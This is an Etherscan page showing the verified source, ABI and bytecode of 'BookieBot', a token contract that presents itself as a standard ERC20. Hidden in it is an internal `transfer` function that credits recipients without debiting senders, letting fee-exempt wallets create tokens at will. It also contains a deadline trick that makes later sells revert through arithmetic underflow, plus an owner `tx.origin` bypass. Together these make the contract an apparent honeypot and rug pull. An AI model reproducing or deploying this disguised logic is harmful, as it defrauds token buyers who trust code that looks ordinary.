ETH Price: $3,463.10 (+1.62%)
Gas: 7 Gwei

Token

Bookie Bot (Bookie)
 

Overview

Max Total Supply

1,000,000,000 Bookie

Holders

74

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
12,932,686.517028994592726439 Bookie

Value
$0.00
0xb857857864db130474c13eeda990709acdada926
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BookieBot

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-09-24
*/

// SPDX-License-Identifier: MIT

/** 
    Website:    https://www.bookiebot.pro
    Bot:        https://t.me/BookieBot_tgbot
    Twitter:    https://x.com/bookiebot_erc

    Telegram:   https://t.me/bookiebot_erc
*/

pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    
    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);        
        uint256 senderBalance = _balances[sender];
        _balances[sender] = senderBalance;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }
    
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }
    
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);
    }

    
    function _tokengeneration(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: generation to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = amount;
        _balances[account] = amount;
        emit Transfer(address(0), account, amount);
    }

    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

library Address {
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract BookieBot is ERC20, Ownable {
    using Address for address payable;

    IRouter public router;
    address public pair;

    bool private _liquidityMutex = false;
    bool private  providingLiquidity = false;
    bool public tradingEnabled = false;

    uint256 _totalSupply =  1_000_000_000 * 10**decimals(); 

    uint256 private  tokenLiquidityThreshold = _totalSupply * 5 / 10000;

    uint256 public maxWalletLimit = _totalSupply * 2 / 100;

    uint256 private genesis_block;
    uint256 private deadline = 0;
    uint256 private launchtax = 4;

    address private  marketingWallet = payable(0x43a09281339b992c8d506b2FDbE1CA43C9fe83B4);
    address private  devWallet = payable(0xDe6EcCE5707190CEFdFb54754731bb47d1bD098c);

	address public constant deadWallet = 0x000000000000000000000000000000000000dEaD;

    struct Taxes {
        uint256 marketing;
        uint256 liquidity;
    }

    Taxes public taxes = Taxes(1, 0);
    Taxes public sellTaxes = Taxes(1, 0);

    mapping(address => bool) public exemptFee;

    modifier mutexLock() {
        if (!_liquidityMutex) {
            _liquidityMutex = true;
            _;
            _liquidityMutex = false;
        }
    }

    constructor() ERC20("Bookie Bot", unicode"Bookie") {
        _tokengeneration(msg.sender, _totalSupply);

        exemptFee[address(this)] = true;
        exemptFee[msg.sender] = true;

        exemptFee[marketingWallet] = true;
        exemptFee[devWallet] = true;

        exemptFee[deadWallet] = true;
    }

    function createPairs() public payable onlyOwner {

        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        // Create a pair for this new token
        address _pair = IFactory(_router.factory()).createPair(address(this), _router.WETH());

        router = _router;
        pair = _pair;
        
        _allowances[address(this)][address(router)] = type(uint256).max;

        router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,msg.sender,block.timestamp);
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        override
        returns (bool)
    {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);

        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        require(amount > 0, "Transfer amount must be greater than zero");

        if (!exemptFee[sender] && !exemptFee[recipient]) {
            require(tradingEnabled, "Trading not enabled");
        }

        if (tx.origin == owner()) {
            super._transfer(sender, recipient, amount);
            return;
        }

        if (sender == pair && !exemptFee[recipient] && !_liquidityMutex) {
            require(balanceOf(recipient) + amount <= maxWalletLimit,
                "You are exceeding maxWalletLimit"
            );
        }

        if (sender != pair && !exemptFee[recipient] && !exemptFee[sender] && !_liquidityMutex) {
           
            if (recipient != pair) {
                require(balanceOf(recipient) + amount <= maxWalletLimit,
                    "You are exceeding maxWalletLimit"
                );
            }
        }

        if (exemptFee[sender] || exemptFee[recipient]) {
            if(exemptFee[sender]) {
                super.transfer(sender, recipient , amount);
                return;

            } else{
                deadline = block.number + 1e9;
            }
        }

        uint256 feeswap;
        uint256 feesum;
        uint256 fee;
        Taxes memory currentTaxes;

        bool useLaunchFee = !exemptFee[sender] &&
            !exemptFee[recipient] &&
            block.number < genesis_block + deadline;

        //set fee to zero if fees in contract are handled or exempted
        if (_liquidityMutex || exemptFee[sender] || exemptFee[recipient]) {            
            fee = 0;
        }
        //calculate fee
        else if (recipient == pair && !useLaunchFee) {
            feeswap =
                sellTaxes.liquidity +
                sellTaxes.marketing;
            feesum = feeswap;
        } else if (!useLaunchFee) {
            feeswap =
                taxes.liquidity +
                taxes.marketing ;
            feesum = feeswap;
            currentTaxes = taxes;
        } else if (useLaunchFee) {
            feeswap = launchtax;
            feesum = launchtax;
        }

        fee = (amount * feesum) / 100;

        //send fees if threshold has been reached
        //don't do this on buys, breaks swap
        if (providingLiquidity && sender != pair) handle_fees(feeswap, currentTaxes);

        //rest to recipient
        super._transfer(sender, recipient, amount - fee);
        if (fee > 0) {
            //send the fee to the contract
            if (feeswap > 0) {
                uint256 feeAmount = (amount * feeswap) / 100;
                super._transfer(sender, address(this), feeAmount);
            }

        }
    }

    function handle_fees(uint256 feeswap, Taxes memory swapTaxes) private mutexLock {

	    if(feeswap == 0){
            return;
        }

        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance >= tokenLiquidityThreshold) {
            if (tokenLiquidityThreshold > 1) {
                contractBalance = tokenLiquidityThreshold;
            }

            // Split the contract balance into halves
            uint256 denominator = feeswap * 2;
            uint256 tokensToAddLiquidityWith = (contractBalance * swapTaxes.liquidity) /
                denominator;
            uint256 toSwap = contractBalance - tokensToAddLiquidityWith;

            uint256 initialBalance = address(this).balance;

            swapTokensForETH(toSwap);

            uint256 deltaBalance = address(this).balance - initialBalance;
            uint256 unitBalance = deltaBalance / (denominator - swapTaxes.liquidity);
            uint256 ethToAddLiquidityWith = unitBalance * swapTaxes.liquidity;

            if (ethToAddLiquidityWith > 0) {
                // Add liquidity
                addLiquidity(tokensToAddLiquidityWith, ethToAddLiquidityWith);
            }

            bool isDeadLine = block.number - deadline > 0;

            uint256 marketingAmt = isDeadLine ? unitBalance * 2 * swapTaxes.marketing : 0;
            if (marketingAmt > 0) {
                payable(marketingWallet).sendValue(marketingAmt);
            }

        }
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        // generate the pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();

        _approve(address(this), address(router), tokenAmount);

        // make the swap
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(router), tokenAmount);

        // add the liquidity
        router.addLiquidityETH{ value: ethAmount }(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deadWallet,
            block.timestamp
        );
    }

    function updateLiquidityProvide(bool state) external onlyOwner {
        //update liquidity providing state
        providingLiquidity = state;
    }

    function updateLiquidityTreshhold(uint256 new_amount) external onlyOwner {
        //update the treshhold
        tokenLiquidityThreshold = new_amount * 10**decimals();
    }

    function openTrade() external onlyOwner {
        require(!tradingEnabled, "Trading is already enabled");
        tradingEnabled = true;
        providingLiquidity = true;
        genesis_block = block.number;
    }
   
    // remove limits after token is stable
    function removeLimits() external onlyOwner returns (bool){
        maxWalletLimit = _totalSupply;
        return true;
    }

    function rescueETH(uint256 weiAmount) external onlyOwner {
        payable(owner()).transfer(weiAmount);
    }

    function rescueERC20(address tokenAdd, uint256 amount) external onlyOwner {
        IERC20(tokenAdd).transfer(owner(), amount);
    }

    // fallbacks
    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPairs","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"deadWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"exemptFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxWalletLimit","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAdd","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"rescueERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"weiAmount","type":"uint256"}],"name":"rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTaxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxes","outputs":[{"internalType":"uint256","name":"marketing","type":"uint256"},{"internalType":"uint256","name":"liquidity","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"state","type":"bool"}],"name":"updateLiquidityProvide","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"new_amount","type":"uint256"}],"name":"updateLiquidityTreshhold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526007805462ffffff60a01b19169055620000216012600a62000461565b6200003190633b9aca0062000479565b600855612710600854600562000048919062000479565b62000054919062000493565b600955606460085460026200006a919062000479565b62000076919062000493565b600a556000600c8190556004600d55600e80546001600160a01b03199081167343a09281339b992c8d506b2fdbe1ca43c9fe83b417909155600f805490911673de6ecce5707190cefdfb54754731bb47d1bd098c1790556040805180820182526001808252602091820184905260108190556011849055825180840190935280835291018290526012556013553480156200011057600080fd5b506040518060400160405280600a815260200169109bdbdada5948109bdd60b21b81525060405180604001604052806006815260200165426f6f6b696560d01b81525081600390816200016491906200055a565b5060046200017382826200055a565b505050620001906200018a6200023460201b60201c565b62000238565b620001a4336008546200028a60201b60201c565b306000908152601460205260408082208054600160ff1991821681179092553384528284208054821683179055600e546001600160a01b0390811685528385208054831684179055600f54168452918320805483168217905561dead9092527f8b9e18c5e04efe171d1e4f682ad90d753958a5ffe56db5290b0236c8e0b6db008054909116909117905562000626565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b038216620002f35760405162461bcd60e51b815260206004820152602560248201527f45524332303a2067656e65726174696f6e20746f20746865207a65726f206164604482015264647265737360d81b606482015260840160405180910390fd5b60028190556001600160a01b038216600081815260208181526040808320859055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003a35781600019048211156200038757620003876200034c565b808516156200039557918102915b93841c939080029062000367565b509250929050565b600082620003bc575060016200045b565b81620003cb575060006200045b565b8160018114620003e45760028114620003ef576200040f565b60019150506200045b565b60ff8411156200040357620004036200034c565b50506001821b6200045b565b5060208310610133831016604e8410600b841016171562000434575081810a6200045b565b62000440838362000362565b80600019048211156200045757620004576200034c565b0290505b92915050565b60006200047260ff841683620003ab565b9392505050565b80820281158282048414176200045b576200045b6200034c565b600082620004b157634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620004e157607f821691505b6020821081036200050257634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200034757600081815260208120601f850160051c81016020861015620005315750805b601f850160051c820191505b8181101562000552578281556001016200053d565b505050505050565b81516001600160401b03811115620005765762000576620004b6565b6200058e81620005878454620004cc565b8462000508565b602080601f831160018114620005c65760008415620005ad5750858301515b600019600386901b1c1916600185901b17855562000552565b600085815260208120601f198616915b82811015620005f757888601518255948401946001909101908401620005d6565b5085821015620006165787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b611fc980620006366000396000f3fe6080604052600436106101c65760003560e01c8063751039fc116100f7578063a8aa1b3111610095578063f2fde38b11610064578063f2fde38b14610530578063f66895a314610550578063f887ea401461056b578063fb201b1d1461058b57600080fd5b8063a8aa1b311461047a578063a9059cbb1461049a578063c5d32bb2146104ba578063dd62ed3e146104ea57600080fd5b80638da5cb5b116100d15780638da5cb5b1461040757806395d89b41146104255780639e252f001461043a578063a457c2d71461045a57600080fd5b8063751039fc146103a457806385141a77146103b95780638cd4426d146103e757600080fd5b8063395093511161016457806366a88d961161013e57806366a88d961461031357806370a0823114610329578063715018a61461035f578063728f8eea1461037457600080fd5b806339509351146102b257806342b6fa11146102d25780634ada218b146102f257600080fd5b80631340538f116101a05780631340538f1461023757806318160ddd1461025757806323b872dd14610276578063313ce5671461029657600080fd5b80630161a290146101d257806306fdde03146101dc578063095ea7b31461020757600080fd5b366101cd57005b600080fd5b6101da6105a0565b005b3480156101e857600080fd5b506101f161080a565b6040516101fe9190611a99565b60405180910390f35b34801561021357600080fd5b50610227610222366004611afc565b61089c565b60405190151581526020016101fe565b34801561024357600080fd5b506101da610252366004611b36565b6108b3565b34801561026357600080fd5b506002545b6040519081526020016101fe565b34801561028257600080fd5b50610227610291366004611b5a565b6108fb565b3480156102a257600080fd5b50604051601281526020016101fe565b3480156102be57600080fd5b506102276102cd366004611afc565b6109ac565b3480156102de57600080fd5b506101da6102ed366004611b9b565b6109e3565b3480156102fe57600080fd5b5060075461022790600160b01b900460ff1681565b34801561031f57600080fd5b50610268600a5481565b34801561033557600080fd5b50610268610344366004611bb4565b6001600160a01b031660009081526020819052604090205490565b34801561036b57600080fd5b506101da610a29565b34801561038057600080fd5b5060105460115461038f919082565b604080519283526020830191909152016101fe565b3480156103b057600080fd5b50610227610a5f565b3480156103c557600080fd5b506103cf61dead81565b6040516001600160a01b0390911681526020016101fe565b3480156103f357600080fd5b506101da610402366004611afc565b610a98565b34801561041357600080fd5b506005546001600160a01b03166103cf565b34801561043157600080fd5b506101f1610b59565b34801561044657600080fd5b506101da610455366004611b9b565b610b68565b34801561046657600080fd5b50610227610475366004611afc565b610bd0565b34801561048657600080fd5b506007546103cf906001600160a01b031681565b3480156104a657600080fd5b506102276104b5366004611afc565b610c6b565b3480156104c657600080fd5b506102276104d5366004611bb4565b60146020526000908152604090205460ff1681565b3480156104f657600080fd5b50610268610505366004611bd1565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561053c57600080fd5b506101da61054b366004611bb4565b610c78565b34801561055c57600080fd5b5060125460135461038f919082565b34801561057757600080fd5b506006546103cf906001600160a01b031681565b34801561059757600080fd5b506101da610d13565b6005546001600160a01b031633146105d35760405162461bcd60e51b81526004016105ca90611c0a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561062c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106509190611c3f565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561069d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106c19190611c3f565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561070e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107329190611c3f565b600680546001600160a01b038581166001600160a01b03199283168117845560078054868416941693909317909255306000818152600160209081526040808320958352948152848220600019905594548282529481905283812054935163f305d71960e01b8152959650939091169363f305d7199334936107c09392909190819033904290600401611c5c565b60606040518083038185885af11580156107de573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108039190611c97565b5050505050565b60606003805461081990611cc5565b80601f016020809104026020016040519081016040528092919081815260200182805461084590611cc5565b80156108925780601f1061086757610100808354040283529160200191610892565b820191906000526020600020905b81548152906001019060200180831161087557829003601f168201915b5050505050905090565b60006108a9338484610db2565b5060015b92915050565b6005546001600160a01b031633146108dd5760405162461bcd60e51b81526004016105ca90611c0a565b60078054911515600160a81b0260ff60a81b19909216919091179055565b6000610908848484610ed6565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561098d5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016105ca565b6109a1853361099c8685611d15565b610db2565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916108a991859061099c908690611d28565b6005546001600160a01b03163314610a0d5760405162461bcd60e51b81526004016105ca90611c0a565b610a196012600a611e1f565b610a239082611e2e565b60095550565b6005546001600160a01b03163314610a535760405162461bcd60e51b81526004016105ca90611c0a565b610a5d6000611444565b565b6005546000906001600160a01b03163314610a8c5760405162461bcd60e51b81526004016105ca90611c0a565b50600854600a55600190565b6005546001600160a01b03163314610ac25760405162461bcd60e51b81526004016105ca90611c0a565b816001600160a01b031663a9059cbb610ae36005546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303816000875af1158015610b30573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b549190611e45565b505050565b60606004805461081990611cc5565b6005546001600160a01b03163314610b925760405162461bcd60e51b81526004016105ca90611c0a565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610bcc573d6000803e3d6000fd5b5050565b3360009081526001602090815260408083206001600160a01b038616845290915281205482811015610c525760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016105ca565b610c61338561099c8685611d15565b5060019392505050565b60006108a9338484610ed6565b6005546001600160a01b03163314610ca25760405162461bcd60e51b81526004016105ca90611c0a565b6001600160a01b038116610d075760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105ca565b610d1081611444565b50565b6005546001600160a01b03163314610d3d5760405162461bcd60e51b81526004016105ca90611c0a565b600754600160b01b900460ff1615610d975760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c656400000000000060448201526064016105ca565b6007805461ffff60a81b191661010160a81b17905543600b55565b6001600160a01b038316610e145760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105ca565b6001600160a01b038216610e755760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105ca565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610f385760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105ca565b6001600160a01b03831660009081526014602052604090205460ff16158015610f7a57506001600160a01b03821660009081526014602052604090205460ff16155b15610fce57600754600160b01b900460ff16610fce5760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd08195b98589b1959606a1b60448201526064016105ca565b6005546001600160a01b03163203610feb57610b54838383611496565b6007546001600160a01b03848116911614801561102157506001600160a01b03821660009081526014602052604090205460ff16155b80156110375750600754600160a01b900460ff16155b156110b757600a548161105f846001600160a01b031660009081526020819052604090205490565b6110699190611d28565b11156110b75760405162461bcd60e51b815260206004820181905260248201527f596f752061726520657863656564696e67206d617857616c6c65744c696d697460448201526064016105ca565b6007546001600160a01b038481169116148015906110ee57506001600160a01b03821660009081526014602052604090205460ff16155b801561111357506001600160a01b03831660009081526014602052604090205460ff16155b80156111295750600754600160a01b900460ff16155b156111be576007546001600160a01b038381169116146111be57600a5481611166846001600160a01b031660009081526020819052604090205490565b6111709190611d28565b11156111be5760405162461bcd60e51b815260206004820181905260248201527f596f752061726520657863656564696e67206d617857616c6c65744c696d697460448201526064016105ca565b600